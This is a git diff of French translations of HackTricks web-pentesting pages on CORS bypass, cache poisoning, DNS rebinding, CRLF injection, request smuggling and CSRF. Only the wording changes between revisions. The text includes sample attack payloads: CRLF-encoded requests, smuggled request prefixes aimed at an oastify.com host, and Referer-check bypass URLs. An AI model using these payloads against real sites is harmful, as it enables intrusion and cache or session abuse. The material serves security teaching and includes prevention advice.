Bien que l'exploitation directe de cette vulnérabilité en faisant envoyer un en-tête malformé par un navigateur web ne soit pas réalisable, une requête personnalisée peut être générée manuellement à l'aide d'outils comme Burp Suite. Cette méthode pourrait entraîner la sauvegarde de la réponse dans un cache côté serveur et sa diffusion involontaire à d'autres. La charge utile personnalisée vise à modifier l'ensemble de caractères de la page en UTF-7, un encodage de caractères souvent associé aux vulnérabilités XSS en raison de sa capacité à encoder des caractères de manière à pouvoir être exécutés comme script dans certains contextes.
|
||||
Bien que l'exploitation directe de cette vulnérabilité en faisant envoyer un en-tête malformé par un navigateur web ne soit pas réalisable, une requête personnalisée peut être générée manuellement à l'aide d'outils comme Burp Suite. Cette méthode pourrait amener un cache côté serveur à enregistrer la réponse et à la servir involontairement à d'autres. La charge utile personnalisée vise à modifier l'ensemble de caractères de la page en UTF-7, un encodage de caractères souvent associé aux vulnérabilités XSS en raison de sa capacité à encoder des caractères de manière à pouvoir être exécutés comme script dans certains contextes.
|
||||
|
||||
Pour plus d'informations sur les vulnérabilités XSS stockées, consultez [PortSwigger](https://portswigger.net/web-security/cross-site-scripting/stored).
|
||||
|
||||
**Remarque** : L'exploitation des vulnérabilités d'injection d'en-tête HTTP, en particulier via l'empoisonnement du cache côté serveur, souligne l'importance cruciale de valider et de désinfecter toutes les entrées fournies par l'utilisateur, y compris les en-têtes HTTP. Employez toujours un modèle de sécurité robuste qui inclut une validation des entrées pour prévenir de telles vulnérabilités.
|
||||
**Remarque** : L'exploitation des vulnérabilités d'injection d'en-tête HTTP, en particulier via l'empoisonnement du cache côté serveur, souligne l'importance critique de valider et de désinfecter toutes les entrées fournies par l'utilisateur, y compris les en-têtes HTTP. Employez toujours un modèle de sécurité robuste qui inclut une validation des entrées pour prévenir de telles vulnérabilités.
|
||||
|
||||
|
||||
### **Empoisonnement du cache côté client**
|
||||
|
@ -243,9 +243,9 @@ Pour plus d'informations sur les vulnérabilités XSS stockées, consultez [Port
|
|||
|
||||
Dans ce scénario, une instance d'une page web reflétant le contenu d'un en-tête HTTP personnalisé sans codage approprié est observée. Plus précisément, la page web reflète le contenu inclus dans un en-tête `X-User-id`, qui pourrait inclure du JavaScript malveillant, comme le montre l'exemple où l'en-tête contient une balise d'image SVG conçue pour exécuter du code JavaScript lors du chargement.
|
||||
|
||||
Les politiques de partage des ressources entre origines (CORS) permettent l'envoi d'en-têtes personnalisés. Cependant, sans que la réponse ne soit directement rendue par le navigateur en raison des restrictions CORS, l'utilité d'une telle injection pourrait sembler limitée. Le point critique survient lors de la prise en compte du comportement du cache du navigateur. Si l'en-tête `Vary: Origin` n'est pas spécifié, il devient possible que la réponse malveillante soit mise en cache par le navigateur. Par la suite, cette réponse mise en cache pourrait être rendue directement lors de la navigation vers l'URL, contournant ainsi le besoin de rendu direct lors de la requête initiale. Ce mécanisme renforce la fiabilité de l'attaque en exploitant la mise en cache côté client.
|
||||
Les politiques de partage des ressources entre origines (CORS) permettent l'envoi d'en-têtes personnalisés. Cependant, sans que la réponse soit directement rendue par le navigateur en raison des restrictions CORS, l'utilité d'une telle injection pourrait sembler limitée. Le point critique survient lors de la prise en compte du comportement du cache du navigateur. Si l'en-tête `Vary: Origin` n'est pas spécifié, il devient possible que la réponse malveillante soit mise en cache par le navigateur. Par la suite, cette réponse mise en cache pourrait être rendue directement lors de la navigation vers l'URL, contournant ainsi le besoin de rendu direct lors de la requête initiale. Ce mécanisme renforce la fiabilité de l'attaque en exploitant la mise en cache côté client.
|
||||
|
||||
Pour illustrer cette attaque, un exemple de JavaScript est fourni, conçu pour être exécuté dans l'environnement d'une page web, par exemple via un JSFiddle. Ce script effectue une action simple : il envoie une requête à une URL spécifiée avec un en-tête personnalisé contenant le JavaScript malveillant. Après l'achèvement réussi de la requête, il tente de naviguer vers l'URL cible, déclenchant potentiellement l'exécution du script injecté si la réponse a été mise en cache sans une gestion appropriée de l'en-tête `Vary: Origin`.
|
||||
Pour illustrer cette attaque, un exemple de JavaScript est fourni, conçu pour être exécuté dans l'environnement d'une page web, par exemple via un JSFiddle. Ce script effectue une action simple : il envoie une requête à une URL spécifiée avec un en-tête personnalisé contenant le JavaScript malveillant. Après l'achèvement réussi de la requête, il tente de naviguer vers l URL cible, déclenchant potentiellement l'exécution du script injecté si la réponse a été mise en cache sans une gestion appropriée de l'en-tête `Vary: Origin`.
|
||||
|
||||
Voici un résumé du JavaScript utilisé pour exécuter cette attaque :
|
||||
```html
|
||||
|
@ -263,7 +263,7 @@ req.send();
|
|||
|
||||
### XSSI (Inclusion de script inter-sites) / JSONP
|
||||
|
||||
XSSI, également connu sous le nom d'Inclusion de script inter-sites, est un type de vulnérabilité qui profite du fait que la Politique de même origine (SOP) ne s'applique pas lors de l'inclusion de ressources à l'aide de la balise script. Cela est dû au fait que les scripts doivent pouvoir être inclus à partir de différents domaines. Cette vulnérabilité permet à un attaquant d'accéder et de lire tout contenu inclus à l'aide de la balise script.
|
||||
XSSI, également connu sous le nom d'Inclusion de script inter-sites, est un type de vulnérabilité qui profite du fait que la Politique de même origine (SOP) ne s'applique pas lors de l'inclusion de ressources en utilisant la balise script. Cela est dû au fait que les scripts doivent pouvoir être inclus à partir de différents domaines. Cette vulnérabilité permet à un attaquant d'accéder et de lire tout contenu inclus en utilisant la balise script.
|
||||
|
||||
Cette vulnérabilité devient particulièrement significative lorsqu'il s'agit de JavaScript dynamique ou de JSONP (JSON avec rembourrage), surtout lorsque des informations d'autorité ambiante comme les cookies sont utilisées pour l'authentification. Lors de la demande d'une ressource à partir d'un hôte différent, les cookies sont inclus, les rendant accessibles à l'attaquant.
|
||||
|
||||
|
@ -281,7 +281,7 @@ Une façon de contourner la restriction `Access-Control-Allow-Origin` est de dem
|
|||
|
||||
1. [**CORS-escape**](https://github.com/shalvah/cors-escape) : Cet outil fournit un proxy qui transmet votre requête avec ses en-têtes, tout en falsifiant l'en-tête Origin pour correspondre au domaine demandé. Cela contourne efficacement la politique CORS. Voici un exemple d'utilisation avec XMLHttpRequest :
|
||||
|
||||
2. [**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape) : Cet outil offre une approche alternative pour la mise en proxy des requêtes. Au lieu de transmettre votre requête telle quelle, le serveur effectue sa propre requête avec les paramètres spécifiés.
|
||||
2. [**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape) : Cet outil propose une approche alternative pour la mise en proxy des requêtes. Au lieu de transmettre votre requête telle quelle, le serveur effectue sa propre requête avec les paramètres spécifiés.
|
||||
|
||||
### Contournement Iframe + Popup
|
||||
|
||||
|
@ -297,7 +297,7 @@ La réattribution DNS via TTL est une technique utilisée pour contourner certai
|
|||
|
||||
1. L'attaquant crée une page web et fait accéder la victime à celle-ci.
|
||||
2. L'attaquant modifie ensuite le DNS (IP) de son propre domaine pour pointer vers la page web de la victime.
|
||||
3. Le navigateur de la victime met en cache la réponse DNS, qui peut comporter une valeur TTL (Time to Live) indiquant pendant combien de temps l'enregistrement DNS doit être considéré comme valide.
|
||||
3. Le navigateur de la victime met en cache la réponse DNS, qui peut avoir une valeur TTL (Time to Live) indiquant pendant combien de temps l'enregistrement DNS doit être considéré comme valide.
|
||||
4. Lorsque le TTL expire, le navigateur de la victime effectue une nouvelle requête DNS, permettant à l'attaquant d'exécuter du code JavaScript sur la page de la victime.
|
||||
5. En maintenant le contrôle sur l'IP de la victime, l'attaquant peut recueillir des informations de la victime sans envoyer de cookies au serveur de la victime.
|
||||
|
||||
|
@ -317,7 +317,7 @@ La réattribution DNS via l'inondation du cache DNS est une autre technique util
|
|||
|
||||
1. Initialement, lorsque la victime effectue une requête DNS, elle reçoit l'adresse IP de l'attaquant.
|
||||
2. Pour contourner la défense de mise en cache, l'attaquant exploite un service worker. Le service worker inonde le cache DNS, ce qui supprime efficacement le nom de serveur de l'attaquant mis en cache.
|
||||
3. Lorsque le navigateur de la victime effectue une deuxième requête DNS, il reçoit maintenant l'adresse IP 127.0.0.1, qui fait généralement référence à localhost.
|
||||
3. Lorsque le navigateur de la victime effectue une deuxième requête DNS, il reçoit maintenant l'adresse IP 127.0.0.1, qui fait généralement référence à l'localhost.
|
||||
|
||||
En inondant le cache DNS avec le service worker, l'attaquant peut manipuler le processus de résolution DNS et forcer le navigateur de la victime à effectuer une deuxième requête, cette fois-ci résolvant vers l'adresse IP souhaitée par l'attaquant.
|
||||
|
||||
|
@ -335,7 +335,7 @@ Une autre façon de contourner la défense de mise en cache est d'utiliser plusi
|
|||
Cette technique exploite le comportement des navigateurs lorsque plusieurs adresses IP sont fournies pour un domaine. En contrôlant stratégiquement les réponses et en manipulant le choix de l'adresse IP par le navigateur, un attaquant peut exploiter la SOP et accéder aux informations de la victime.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Notez que pour accéder à localhost, vous devriez essayer de réattribuer **127.0.0.1** sous Windows et **0.0.0.0** sous Linux.\
|
||||
Notez que pour accéder à l'localhost, vous devriez essayer de réattribuer **127.0.0.1** sous Windows et **0.0.0.0** sous Linux.\
|
||||
Des fournisseurs tels que godaddy ou cloudflare ne m'ont pas permis d'utiliser l'IP 0.0.0.0, mais AWS route53 m'a permis de créer un enregistrement A avec 2 IPs, l'une d'entre elles étant "0.0.0.0"
|
||||
|
||||
<img src="../.gitbook/assets/image (638) (2) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
@ -349,11 +349,11 @@ Pour plus d'informations, vous pouvez consulter [https://unit42.paloaltonetworks
|
|||
* Si les **IP internes ne sont pas autorisées**, répondez avec un **CNAME** à **localhost** (fonctionne sur Linux et Mac)
|
||||
* Si les **IP internes ne sont pas autorisées** en tant que réponses DNS, vous pouvez répondre avec des **CNAMEs vers des services internes** tels que www.corporate.internal.
|
||||
|
||||
### Armes de réattribution DNS
|
||||
### Réattribution DNS Weaponized
|
||||
|
||||
Vous pouvez trouver plus d'informations sur les techniques de contournement précédentes et comment utiliser l'outil suivant dans la présentation [Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference](https://www.youtube.com/watch?v=y9-0lICNjOQ).
|
||||
|
||||
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) est un outil pour effectuer des attaques de [réattribution DNS](https://en.wikipedia.org/wiki/DNS\_rebinding). Il comprend les composants nécessaires pour réattribuer l'adresse IP du nom DNS du serveur d'attaque à l'adresse IP de la machine cible et pour servir des charges utiles d'attaque pour exploiter des logiciels vulnérables sur la machine cible.
|
||||
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) est un outil pour effectuer des attaques de [réattribution DNS](https://en.wikipedia.org/wiki/DNS\_rebinding). Il comprend les composants nécessaires pour réattribuer l'adresse IP du nom DNS du serveur d'attaque à l'adresse IP de la machine cible et pour servir des charges utiles d'attaque pour exploiter les logiciels vulnérables sur la machine cible.
|
||||
|
||||
### Protection réelle contre la réattribution DNS
|
||||
|
||||
|
@ -364,7 +364,7 @@ Vous pouvez trouver plus d'informations sur les techniques de contournement pré
|
|||
|
||||
## **Outils**
|
||||
|
||||
**Fouillez les erreurs de configuration possibles dans les politiques CORS**
|
||||
**Fouillez les mauvaises configurations possibles dans les politiques CORS**
|
||||
|
||||
* [https://github.com/chenjj/CORScanner](https://github.com/chenjj/CORScanner)
|
||||
* [https://github.com/lc/theftfuzzer](https://github.com/lc/theftfuzzer)
|
||||
|
|
|
@ -2,15 +2,15 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -36,7 +36,7 @@ Considérez un fichier journal dans un panneau d'administration qui suit le form
|
|||
```
|
||||
123.123.123.123 - 08:15 - /index.php?page=home
|
||||
```
|
||||
Un attaquant peut exploiter une injection CRLF pour manipuler ce journal. En injectant des caractères CRLF dans la requête HTTP, l'attaquant peut modifier le flux de sortie et fabriquer des entrées de journal. Par exemple, une séquence injectée pourrait transformer l'entrée du journal en:
|
||||
Un attaquant peut exploiter une injection CRLF pour manipuler ce journal. En injectant des caractères CRLF dans la requête HTTP, l'attaquant peut modifier le flux de sortie et fabriquer des entrées de journal. Par exemple, une séquence injectée pourrait transformer l'entrée de journal en :
|
||||
```
|
||||
/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
|
||||
```
|
||||
|
@ -126,7 +126,7 @@ array(
|
|||
# Put a netcat listener on port 9090
|
||||
$client->__soapCall("test", []);
|
||||
```
|
||||
### Injection d'en-tête pour le Smuggling de Requête
|
||||
### Injection d'en-tête pour le Smuggling de Requêtes
|
||||
|
||||
Pour plus d'informations sur cette technique et les problèmes potentiels, [**consultez la source originale**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning).
|
||||
|
||||
|
@ -134,15 +134,15 @@ Vous pouvez injecter des en-têtes essentiels pour vous assurer que le **serveur
|
|||
```
|
||||
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1
|
||||
```
|
||||
Après, une deuxième requête peut être spécifiée. Ce scénario implique généralement [HTTP request smuggling](http-request-smuggling/), une technique où des en-têtes supplémentaires ou des éléments de corps ajoutés par le serveur post-injection peuvent entraîner divers exploits de sécurité.
|
||||
Après, une deuxième requête peut être spécifiée. Ce scénario implique généralement [la contrebande de requête HTTP](http-request-smuggling/), une technique où des en-têtes supplémentaires ou des éléments de corps ajoutés par le serveur post-injection peuvent entraîner divers exploits de sécurité.
|
||||
|
||||
**Exploitation :**
|
||||
|
||||
1. **Injection de Préfixe Malveillant** : Cette méthode implique de polluer la prochaine requête de l'utilisateur ou un cache web en spécifiant un préfixe malveillant. Un exemple de ceci est :
|
||||
|
||||
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%a HTTP/1.1`
|
||||
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1`
|
||||
|
||||
2. **Création d'un Préfixe pour l'Empoisonnement de la File de Réponse** : Cette approche consiste à créer un préfixe qui, combiné à des données inutiles, forme une deuxième requête complète. Cela peut déclencher un empoisonnement de la file de réponse. Un exemple est :
|
||||
2. **Création d'un Préfixe pour l'Empoisonnement de la File de Réponses** : Cette approche consiste à créer un préfixe qui, combiné à des éléments résiduels, forme une deuxième requête complète. Cela peut déclencher un empoisonnement de la file de réponses. Un exemple est :
|
||||
|
||||
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1`
|
||||
|
||||
|
@ -154,7 +154,7 @@ Memcache est un **magasin clé-valeur qui utilise un protocole en texte clair**.
|
|||
[11211-memcache](../network-services-pentesting/11211-memcache/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
**Pour plus d'informations, consultez le** [**article original**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/)
|
||||
**Pour plus d'informations, lisez le** [**rapport original**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/)
|
||||
|
||||
Si une plateforme prend des **données d'une requête HTTP et les utilise sans les désinfecter** pour effectuer des **requêtes** vers un serveur **memcache**, un attaquant pourrait abuser de ce comportement pour **injecter de nouvelles commandes memcache**.
|
||||
|
||||
|
@ -162,19 +162,19 @@ Par exemple, dans la vulnérabilité découverte initialement, des clés de cach
|
|||
|
||||
<figure><img src="../.gitbook/assets/image (6) (1) (4).png" alt="https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/ba72cd16-2ca0-447b-aa70-5cde302a0b88/body-578d9f9f-1977-4e34-841c-ad870492328f_10.png?w=1322&h=178&auto=format&fit=crop"><figcaption></figcaption></figure>
|
||||
|
||||
De plus, les chercheurs ont également découvert qu'ils pouvaient désynchroniser les réponses memcache pour envoyer les adresses IP et les ports des attaquants aux utilisateurs dont l'adresse e-mail n'était pas connue de l'attaquant :
|
||||
De plus, les chercheurs ont également découvert qu'ils pouvaient désynchroniser les réponses memcache pour envoyer les IP et ports des attaquants aux utilisateurs dont l'email n'était pas connu de l'attaquant :
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (40).png" alt="https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/c6c1f3c4-d244-4bd9-93f7-2c88f139acfa/body-3f9ceeb9-3d6b-4867-a23f-e0e50a46a2e9_14.png?w=1322&h=506&auto=format&fit=crop"><figcaption></figcaption></figure>
|
||||
|
||||
### Comment Prévenir les Injections CRLF / En-têtes HTTP dans les Applications Web
|
||||
|
||||
Pour atténuer les risques d'injections CRLF (Retour chariot et Saut de ligne) ou d'en-têtes HTTP dans les applications web, les stratégies suivantes sont recommandées :
|
||||
Pour atténuer les risques d'injections CRLF (Retour chariot et Saut de ligne) ou d'injections d'en-têtes HTTP dans les applications web, les stratégies suivantes sont recommandées :
|
||||
|
||||
1. **Éviter les Entrées Utilisateur Directes dans les En-têtes de Réponse :**
|
||||
L'approche la plus sûre est de s'abstenir d'incorporer directement les entrées fournies par l'utilisateur dans les en-têtes de réponse.
|
||||
|
||||
2. **Encoder les Caractères Spéciaux :**
|
||||
Si éviter les entrées utilisateur directes n'est pas réalisable, assurez-vous d'utiliser une fonction dédiée à l'encodage des caractères spéciaux comme CR (Retour chariot) et LF (Saut de ligne). Cette pratique empêche la possibilité d'injection CRLF.
|
||||
Si éviter les entrées utilisateur directes n'est pas possible, assurez-vous d'utiliser une fonction dédiée à l'encodage des caractères spéciaux comme CR (Retour chariot) et LF (Saut de ligne). Cette pratique empêche la possibilité d'injection CRLF.
|
||||
|
||||
3. **Mettre à Jour le Langage de Programmation :**
|
||||
Mettez régulièrement à jour le langage de programmation utilisé dans vos applications web vers la dernière version. Optez pour une version qui interdit intrinsèquement l'injection de caractères CR et LF dans les fonctions chargées de définir les en-têtes HTTP.
|
||||
|
@ -220,7 +220,7 @@ Mettez régulièrement à jour le langage de programmation utilisé dans vos app
|
|||
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Si vous êtes intéressé par une **carrière en piratage** et pirater l'impiratable - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
|
||||
Si vous êtes intéressé par une **carrière en piratage** et pirater l'impiratable - **nous recrutons !** (_maîtrise du polonais à l'écrit et à l'oral requise_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -233,7 +233,7 @@ Autres façons de soutenir HackTricks :
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -9,7 +9,7 @@ Autres façons de soutenir HackTricks :
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
@ -40,15 +40,15 @@ Pour exploiter une vulnérabilité CSRF, plusieurs conditions doivent être remp
|
|||
2. **Gestion de session** : La session de l'utilisateur doit être gérée uniquement via des cookies ou l'en-tête d'authentification de base HTTP, car les autres en-têtes ne peuvent pas être manipulés à cette fin.
|
||||
3. **Absence de paramètres imprévisibles** : La requête ne doit pas contenir de paramètres imprévisibles, car ils peuvent empêcher l'attaque.
|
||||
|
||||
### Défense contre les attaques CSRF
|
||||
### Se défendre contre les attaques CSRF
|
||||
Plusieurs contre-mesures peuvent être mises en place pour se protéger contre les attaques CSRF :
|
||||
|
||||
* [**Cookies SameSite**](hacking-with-cookies/#samesite) : Cet attribut empêche le navigateur d'envoyer des cookies avec des requêtes entre sites. [En savoir plus sur les cookies SameSite](hacking-with-cookies/#samesite).
|
||||
* [**Partage de ressources entre origines**](cors-bypass.md) : La politique CORS du site victime peut influencer la faisabilité de l'attaque, en particulier si l'attaque nécessite la lecture de la réponse du site victime. [Apprenez-en plus sur le contournement de CORS](cors-bypass.md).
|
||||
* [**Partage de ressources entre origines**](cors-bypass.md) : La politique CORS du site victime peut influencer la faisabilité de l'attaque, surtout si l'attaque nécessite la lecture de la réponse du site victime. [Apprenez-en plus sur le contournement de CORS](cors-bypass.md).
|
||||
* **Vérification de l'utilisateur** : Demander le mot de passe de l'utilisateur ou résoudre un captcha peut confirmer l'intention de l'utilisateur.
|
||||
* **Vérification des en-têtes Referrer ou Origin** : La validation de ces en-têtes peut aider à garantir que les requêtes proviennent de sources de confiance. Cependant, une manipulation soigneuse des URL peut contourner les vérifications mal implémentées, telles que :
|
||||
- Utilisation de `http://mal.net?orig=http://example.com` (l'URL se termine par l'URL de confiance)
|
||||
- Utilisation de `http://example.com.mal.net` (l'URL commence par l'URL de confiance)
|
||||
* **Vérification des en-têtes Referrer ou Origin** : Valider ces en-têtes peut aider à garantir que les requêtes proviennent de sources de confiance. Cependant, une manipulation soigneuse des URL peut contourner les vérifications mal implémentées, telles que :
|
||||
- Utiliser `http://mal.net?orig=http://example.com` (l'URL se termine par l'URL de confiance)
|
||||
- Utiliser `http://example.com.mal.net` (l'URL commence par l'URL de confiance)
|
||||
* **Modification des noms de paramètres** : Modifier les noms de paramètres dans les requêtes POST ou GET peut aider à prévenir les attaques automatisées.
|
||||
* **Jetons CSRF** : Incorporer un jeton CSRF unique dans chaque session et exiger ce jeton dans les requêtes ultérieures peut atténuer considérablement le risque de CSRF. L'efficacité du jeton peut être renforcée en imposant CORS.
|
||||
|
||||
|
@ -58,15 +58,15 @@ Comprendre et mettre en œuvre ces défenses est crucial pour maintenir la sécu
|
|||
|
||||
### De POST à GET
|
||||
|
||||
Peut-être que le formulaire que vous souhaitez exploiter est configuré pour envoyer une **requête POST avec un jeton CSRF mais**, vous devriez **vérifier** si un **GET** est également **valide** et si lorsque vous envoyez une requête GET le **jeton CSRF est toujours validé**.
|
||||
Peut-être que le formulaire que vous souhaitez exploiter est prêt à envoyer une **requête POST avec un jeton CSRF mais**, vous devriez **vérifier** si un **GET** est également **valide** et si lorsque vous envoyez une requête GET le **jeton CSRF est toujours validé**.
|
||||
|
||||
### Absence de jeton
|
||||
|
||||
Les applications peuvent mettre en place un mécanisme pour **valider les jetons** lorsqu'ils sont présents. Cependant, une vulnérabilité apparaît si la validation est complètement ignorée lorsque le jeton est absent. Les attaquants peuvent exploiter cela en **supprimant le paramètre** qui contient le jeton, pas seulement sa valeur. Cela leur permet de contourner le processus de validation et de mener une attaque de Cross-Site Request Forgery (CSRF) efficacement.
|
||||
Les applications peuvent mettre en place un mécanisme pour **valider les jetons** lorsqu'ils sont présents. Cependant, une vulnérabilité apparaît si la validation est complètement ignorée lorsque le jeton est absent. Les attaquants peuvent exploiter cela en **supprimant le paramètre** portant le jeton, pas seulement sa valeur. Cela leur permet de contourner le processus de validation et de mener une attaque de Cross-Site Request Forgery (CSRF) efficacement.
|
||||
|
||||
### Le jeton CSRF n'est pas lié à la session utilisateur
|
||||
|
||||
Les applications **ne liant pas les jetons CSRF aux sessions utilisateur** présentent un risque de sécurité significatif. Ces systèmes vérifient les jetons par rapport à un **pool global** au lieu de s'assurer que chaque jeton est lié à la session initiale.
|
||||
Les applications **ne liant pas les jetons CSRF aux sessions utilisateur** présentent un risque de sécurité significatif. Ces systèmes vérifient les jetons par rapport à un **pool global** plutôt que de garantir que chaque jeton est lié à la session initiale.
|
||||
|
||||
Voici comment les attaquants exploitent cela :
|
||||
|
||||
|
@ -74,14 +74,14 @@ Voici comment les attaquants exploitent cela :
|
|||
2. **Obtenir un jeton CSRF valide** à partir du pool global.
|
||||
3. **Utiliser ce jeton** dans une attaque CSRF contre une victime.
|
||||
|
||||
Cette vulnérabilité permet aux attaquants de faire des requêtes non autorisées au nom de la victime, en exploitant le mécanisme de validation de jeton **inadéquat de l'application**.
|
||||
Cette vulnérabilité permet aux attaquants de faire des requêtes non autorisées au nom de la victime, exploitant le mécanisme de validation de jeton inadéquat de l'application.
|
||||
|
||||
### Contournement de méthode
|
||||
|
||||
Si la requête utilise une **méthode "étrange"**, vérifiez si la fonctionnalité de **remplacement de méthode** fonctionne.
|
||||
Par exemple, si elle utilise une méthode PUT, vous pouvez essayer d'utiliser une méthode POST et **envoyer** : _https://example.com/my/dear/api/val/num?**\_method=PUT**_
|
||||
Si la requête utilise une **méthode "étrange"**, vérifiez si la **fonctionnalité de remplacement de méthode** fonctionne.
|
||||
Par exemple, si elle utilise une méthode PUT, vous pouvez essayer d'utiliser une méthode POST et d'envoyer : _https://example.com/my/dear/api/val/num?**\_method=PUT**_
|
||||
|
||||
Cela pourrait également fonctionner en envoyant le **paramètre \_method dans une requête POST** ou en utilisant les **en-têtes** :
|
||||
Cela pourrait également fonctionner en envoyant le **paramètre \_method à l'intérieur d'une requête POST** ou en utilisant les **en-têtes** :
|
||||
|
||||
* _X-HTTP-Method_
|
||||
* _X-HTTP-Method-Override_
|
||||
|
@ -120,7 +120,7 @@ Voici un exemple de la structure d'une attaque :
|
|||
Notez que si le **jeton csrf est lié au cookie de session, cette attaque ne fonctionnera pas** car vous devrez définir votre session comme victime, et donc vous vous attaquerez vous-même.
|
||||
{% endhint %}
|
||||
|
||||
### Changement de Content-Type
|
||||
### Changement de type de contenu
|
||||
|
||||
